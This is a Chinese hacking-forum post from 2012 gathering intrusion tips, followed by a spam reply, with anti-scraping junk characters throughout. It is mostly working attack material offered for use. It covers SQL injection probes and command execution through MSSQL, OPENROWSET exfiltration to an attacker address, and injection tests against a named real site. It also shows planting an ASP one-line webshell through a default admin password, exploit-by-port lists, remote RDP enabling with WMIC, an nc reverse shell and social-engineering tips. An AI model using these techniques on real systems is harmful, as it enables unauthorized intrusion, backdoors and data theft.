找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3801|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关9 z+ E" ]: o/ ^; o

' p4 \4 p% V3 D8 _
4 |3 G1 t' M5 u9 }/ F4 G* |3 SSA点数据库分离搞法+语句:
  ?5 `+ v4 \, a1 f! G6 q! W' n* S# ?  F4 s" r8 E0 n4 Y
注射点不显错,执行下面三条语句页面都返回正常。
; W& [5 [+ L' `9 fand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
' R8 e4 y) Z% r+ Z  ~/ Uand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
4 U9 q+ Y) n* V: Sand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')4 P% z7 P9 C5 z
可以列目录,判断系统为2000,web与数据库分离
& I# j! c$ w* V- N8 ^( x遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。4 P$ q# c" H* {
在注射点上执行
0 M6 ~, f% ~  T& u. B8 _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--9 Q+ a* x2 H& @, Z( D( D4 l
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP/ F. }6 D8 F0 u7 j/ M
还有我用NC监听得其他端口都没有得到IP。, V: h: _) q& E% ~: v3 n, {

8 @  W% u# B- h( Q/ D5 x  k9 E5 _; A通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
* C4 |) P7 W+ m' Q# ~4 f: R'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--( A; ?! J0 \! U7 a' y2 j
/ e/ [- V/ v5 G3 l0 }  h
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
1 g4 ]" b1 X. H4 }- s  J# R; ~/ G: N1 s; O0 O/ v% P6 Z, S, S: P) G* n  }
现在就猜想是不是数据库是内网而且不能连外网。' ^: _4 p7 A0 _5 \& D, Y

  Q7 B* k9 K' P) R) `$ s( u" _- l- N
access导出txt文本代码2 c3 l: w% A% J8 i- z9 z# ^
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin5 C; ^2 {: |7 [8 q
' ~/ \5 C7 q  ?% M0 R. o8 k
. e% o! d) \( Z2 G% d) v% G. q. ^
) T; Y5 D3 p6 n6 P; z
自动跳转到指定网站代码头0 {, ^' l! G! A4 S
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
- @- K# n) @) }8 O: J
, }& z1 f3 e" {3 a6 n1 p* _$ ~# \3 d- m' R2 r4 u2 W. v2 S
入侵java or jsp站点时默认配置文件路径:
  `% D! O) j, K6 X, a9 O\web-inf\web.xml
: C3 i; |, |/ J& S' g1 btomcat下的配置文件位置:
' h0 \  N5 _" Z2 P$ D\conf\server.xml            (前面加上tomcat路径)
' G. m! X+ r% v1 E\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
9 Q4 L: S6 l0 Y9 p" E4 x/ x) B. g5 p
2 Q: `2 _3 r& V: _( Q5 \7 d
8 S" u4 l% e( ?' i' S7 [6 G$ u4 y1 S) C% k7 u
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
  [3 C7 a/ w$ l-1%23
& K/ y- o  C4 V1 t7 c5 b. H> . y; e$ O# Q7 w4 \2 r
<- I& T- Y1 D- v
1'+or+'1'='1$ S* ?6 h; i8 N) ^, Q
id=8%bf) o$ I- P! ~( ]/ @. N. s/ O
' g( y6 o0 @9 B4 H$ S7 k& b
全新注入点检测试法:9 \9 W8 J! k' j% Q+ A
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。# H" h$ Z; ^2 @1 s! |, z

7 z- I* a: u0 @% V在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。9 C+ \" o: T( x; r  z8 k+ m
, A, o/ D6 M+ X1 X
搜索型注入判断方法:+ q/ C; Q# y4 i* Z
北京%' and '1'='1' and '%'='
# t& z* g. h- \7 Z" ?2 c( Y北京%' and '1'='2' and '%'='* b! V, Y3 z/ P0 J* V

& @7 O. s  ^+ w  p; D8 I% |! O9 l9 \+ p. d& t1 j1 w4 c4 B
COOKIES注入:
1 D+ C+ ~9 @( P+ Y7 }4 V, O3 R7 ~+ Q" R7 O
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
6 l" U2 C' N1 H0 U$ Y6 P
* d. ]4 y) Q# ^: \2000专业版查看本地登录用户命令:
( t1 x5 I: A: x7 s# t4 \8 {2 Dnet config workstation
7 H( g! T) Y+ g0 W- P1 U# ]5 a8 t) K  J% Y4 b+ T

/ O5 _. [8 s4 v2003下查看ipsec配置和默认防火墙配置命令:
# g# ^( q/ o& |5 enetsh firewall show config
# s3 c& e4 a+ S$ B" ?% q4 Nnetsh ipsec static show all% [3 y9 b: I) Q$ H6 T

, p' m: H/ u6 o7 f# N" O不指派指定策略命令:
: y8 N- c6 i& mnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)8 h: W" J, H* |7 w- v6 J3 }/ K; H
netsh ipsec static show policy all  显示策略名1 m4 v0 P+ g3 L! a
$ T1 c: A0 E1 m& g# ^3 D3 r
4 Z, \1 j% T' A$ f" e# r
猜管理员后台小技巧:
' A/ a- x8 [' {4 V4 K& p2 Q) qadmin/left.asp
9 ~8 s5 T( X3 u( E' C' g: gadmin/main.asp
; H: Q0 O" e  a) F  x" Vadmin/top.asp
; |' c7 J8 x& H4 Kadmin/admin.asp 4 r( c2 e" w( ^7 r* B
会现出菜单导航,然后迅雷下载全部链接; @7 y, E- e# \/ _/ V& C6 ]# {

" _5 T  U* @- b9 M* |1 U3 H0 T9 U4 L; c3 V) P
社会工程学:: i" O- C6 w5 f& c
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
1 e2 D; i3 O" g/ K- J. q) e然后去骗客服# f( j  c* P$ z$ X' W* Z

2 {5 W/ H4 q- ~. L% Q' A4 |" R* ~
! A; T1 `8 Y' m! g$ B+ v1 {# }  v统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
% k, H- @. r5 r$ N* r6 {0 n查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, 7 Y' z6 n% D6 P. o6 i1 U+ A0 B! j
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
/ Y' C6 j1 Z. s8 N0 i6 T; U$ Q
8 N# K. Y6 U* ^, @& F
9 B) _. E5 a6 l8 Q3 B+ L% `. o2 J% a! ^0 m# g5 k3 u
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)% {" n5 G: w) s0 ~7 U
: m  y9 z/ F3 z. s
% E: T0 n( t* u6 l& g' E7 u9 {
  d/ T- b# i' H  k; b) p  ]$ M
CMD加密注册表位置
7 t% f& a9 X) {* y. s) w(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor0 w; a& l1 C! Z  [7 u1 q8 H
AutoRun
9 K) J) M; w7 ~( z/ x
5 H  O* E( a% f5 C(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
1 T0 r0 S8 p6 OAutoRun$ e1 h- f- x5 N, _
2 @, m7 Q* k$ u( a1 n9 D

8 J- M9 N( X& H, z在找注入时搜索Hidden,把他改成test
) e$ V) Z. {% G  K/ `1 b9 d) d  x
" a  f- W( x- }" N: _7 d( H4 d

7 ^1 h. ?/ e) I  Imstsc /v:IP /console - e: E& m$ E% o
9 @7 P; a( L4 L# U$ v

% i7 |& e. Y0 B& v/ p, r4 w一句话开3389:! c+ g5 {5 r, w6 \
% ~! Y  P% U6 y" _
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  $ p9 Q2 N6 X/ H. f' j
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
  }* p6 ]$ C9 s  }# i8 P4 q7 K6 N5 R

- v( V- i- e0 D, s+ X* v* r$ e$ c知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
7 {3 V! l0 S2 c1 r" K! s/ u& mInsert into admin(user,pwd) values('test','test'). u" [6 q! r2 J, ~( t! f

+ ]' n+ K6 ^/ G7 G: n( M& [! e8 w0 l* g( S- p& ~3 ]) |
NC反弹
7 ^7 c- E& g: B; s0 S' n- |! I先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   % d" t. S% Q0 @5 j) |! X
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)& x- g0 q- P/ v  K+ A% L

6 N3 b$ p! w' k7 V4 q4 b, w: L$ E( y/ i" P9 R% B
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题( Z3 ~5 k0 a1 D: V
8 I+ K2 F0 G" J* `6 c0 i+ H
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录( z( r: E$ N6 \
例如:
" }; a9 Y5 n2 }  psubst k: d:\www\ 用d盘www目录替代k盘5 ?. ?4 k# R+ D& p
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表